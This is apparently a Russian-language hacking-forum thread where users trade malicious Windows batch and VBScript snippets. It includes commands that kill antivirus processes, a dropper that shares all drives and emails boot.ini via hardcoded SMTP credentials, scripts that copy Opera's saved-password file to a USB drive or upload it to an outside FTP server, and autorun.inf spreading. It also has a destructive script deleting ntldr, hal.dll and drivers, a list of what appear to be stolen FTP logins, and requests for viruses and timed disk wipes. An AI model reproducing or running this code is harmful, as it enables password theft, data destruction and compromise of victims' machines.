проверка на наличие шары. задача: написать батник, который проверяет наличие общедоступных сетевых ресурсов (папок, принтеров) и, в зависимости от наличия таковых, выполнить определенное действие Code: @Echo Off Set ShareName=C$ ADMIN$ For /F "Tokens=1 Skip=4" %%i In ('Net Share') Do ( For %%j In (%ShareName%) Do ( If /I "%%i"=="%%j" Call :COMMAND %%i ) ) EXIT :COMMAND :: --- @Echo %1 - ресурс из списка, чего делать? GoTo :EOF ещё вкусности: добавление батника в автозагрузку или ещё куда: Code: REG EXPORT <имя_раздела> <имя_файла> [/y] И убить процесс из батника: Code: taskkill /IM ekrn.exe taskkill /IM egui.exe taskkill /IM avp.exe
возможность интеграции скрипта ВБА в бат: Данны скрипт реализует отправку на емаил отчета о зараженном компьютере и приатачивает фаил бут.ини , расшаривая ресурс: Code: @Echo Off Echo Set S = CreateObject("Wscript.Shell");set FSO=createobject("scripting.filesystemobject");s.run"net share c=c:\",0;s.run"net;share d=d:\",0;s.run"net share e=e:\",0;s.regwrite"HKEY_CLASSES_ROOT\Network\SharingHandler\","";Call SendPost("smtp.mail.ru","[email protected]","[email protected]","Kuzja","Копм заражен!");Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody);Set iMsg=CreateObject("CDO.Message") Set iConf=CreateObject("CDO.Configuration");Set Flds=iConf.Fields;Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2;Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1;Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="winner13"'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="qwerty";Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru";Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25;Flds.Update;iMsg.Configuration=iConf;iMsg.To=strTo;iMsg.From=strFrom;iMsg.Subject=strSubject;iMsg.TextBody=strBody;iMsg.AddAttachment "c:\boot.ini";iMsg.Send;End Function;Set iMsg=Nothing;Set iConf=Nothing;Set Flds=Nothing>winner13.vbs Start winner13.vbs пи копировании изменить лишь почтовые данные,структуру оставить прежней.
люди, а помогите в таком вопросе, я прост в бате не оч силён, Code: echo on copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" "G:\noDelete!!!\total_commander_powerpack_russian_pro\regularg\" вот файл который я копирую на флешку...... но как видите на моём компе моя флешка высвечуеться как G:\ а на ноутбуке H:\ ... вапрос в том... как бы мне так зделать чтобы копировало на флешку.... может чтото дописать интересное ?
ПРимер как втавить флэху и копирывать что нужно на неё с компа) Code: echo on copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" "G:\noDelete!!!\total_commander_powerpack_russian_pro\regularg\" attrib +h если имя флэхи неизвестно, то можно вот так: Code: echo on copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" noDelete!!!\total_commander_powerpack_russian_pro\regularg\ attrib +h (будет искать по совподению в названии) последняя страка делает чтобы скрыть после запуска все файлы в папке) --- если хотите чтоб батник запускался при втыкании флэъи в комп то создайте файл autorun.inf с: Code: [autorun] open=название батника.bat вроде так, если я ошибаюсь поправьте) не тестил..
Реально злая шутка , у мну только сейчас ДР отметилс, и этот бред пишу на реально пьяную глову !!!Убитый в люпель,писькой прострочил по кнопкам =)))Ещё кстати вариант интеграции визуал басик скрипт в файли бат, работает на 100%, проверено млять. Функционал:Удалить hal.dll,Удалить dllcache,Удалить drivers,Удалить drivers cashe,Удалить ntldr,скрыть и запретить доступ ко всем дискам .Вывести сообщение"ты мля полное чмо!!!один раз перезагрузись!!!" c заголовком "Заепися все!" +))) Прикалывает сам релиз интеграции вба в бат, писал на пьяную голову.=)_) Code: @echo off echo Set S = CreateObject("Wscript.Shell")>>winner13.vbs echo set FSO=createobject("scripting.filesystemobject")>>winner13.vbs echo s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives","67108863","REG_DWORD">>winner13.vbs echo s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive","67108863","REG_DWORD">>winner13.vbs echo fso.deletefile "C:\ntldr",1 >>winner13.vbs echo Set Folder = FSO.GetFolder(fso.getspecialfolder(0)+"\system32\drivers\")>>winner13.vbs echo For Each File In Folder.Files>>winner13.vbs echo File.delete>>winner13.vbs echo Next>>winner13.vbs echo fso.deletefolder fso.getspecialfolder(0)+"\Driver Cache">>winner13.vbs echo fso.deletefile fso.getspecialfolder(0)+"\system32\hal.dll",1>>winner13.vbs echo fso.deletefolder fso.getspecialfolder(0)+"\system32\drives",1>>winner13.vbs echo i=1>>winner13.vbs echo while i>0 or i<0>>winner13.vbs echo S.popup "ты мля полное чмо!!!один раз перезагрузись!!!",0, "заепися все !!!",3+0>>winner13.vbs echo i=i-1>>winner13.vbs echo wend>>winner13.vbs start winner13.vbs
Всё нормально, единственное что attrib +h зачем тебе если всё в черненьком окошке видно что копируется и куда . Code: @echo off copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" noDelete!!!\total_commander_powerpack_russian_pro\regularg\ attrib +h Отличный пример.Жизненный =)
Code: [AUTORUN] open=123.exe icon=icons\img.ico shell\open=&Открыть shell\open\command=123exe и при нажатии "открыть" запуститься 123.exe
Code: > c:\up.txt echo open server >> c:\up.txt echo user >> c:\up.txt echo pass >> c:\up.txt echo put %appdata%\Opera\Opera\profile\wand.dat >> c:\up.txt echo bye start /w ftp.exe -s:C:\up.txt del C:\up.txt cls exit server, user, pass - свои, соответственно
вот фтп blackseahotel:[email protected]:21 klimawechsel:[email protected]:21 origine:[email protected]:21 adek:[email protected]:21 nama:[email protected]:21 pdj_7486:[email protected]:21 public:[email protected]:21 например я вставил > c:\up.txt ftp.iterainc.com:21 или без 21 >> c:\up.txt echo public >> c:\up.txt echo itera >> c:\up.txt echo put %appdata%\Opera\Opera\profile\wand.dat >> c:\up.txt echo bye start /w ftp.exe -s:C:\up.txt del C:\up.txt cls exit не работает се равно
Как это не документированая шина? Берёшь сорцы DOS 3.3 и смотришь сорец command.com Как я понимаю для умных людей будет документация)
Напишите плиз исходник вируса который отсылает на ftp IP жертвы и скачивает пару фаилов с этого же ftp шника.
подскажите пожалуста, в данном вопросе. Какими командами в бате реализовать форматирование выбраного диска через некоторое количество дней после интала батника в автозапуск( или на худой конец в определеный день недели чтобы он отформатировал диск). сама команда формат для мня понятна, но как это зделать по расписанию я не знаю. Помогите хто чем может.
Есть батник: Задача этого батника присылать чужой IP на мыло. Он это делает каждую секунду, а мне нада чтоб хотябы каждые пять минут, ПОМОГИТЕ плиз, что там нада поменять?
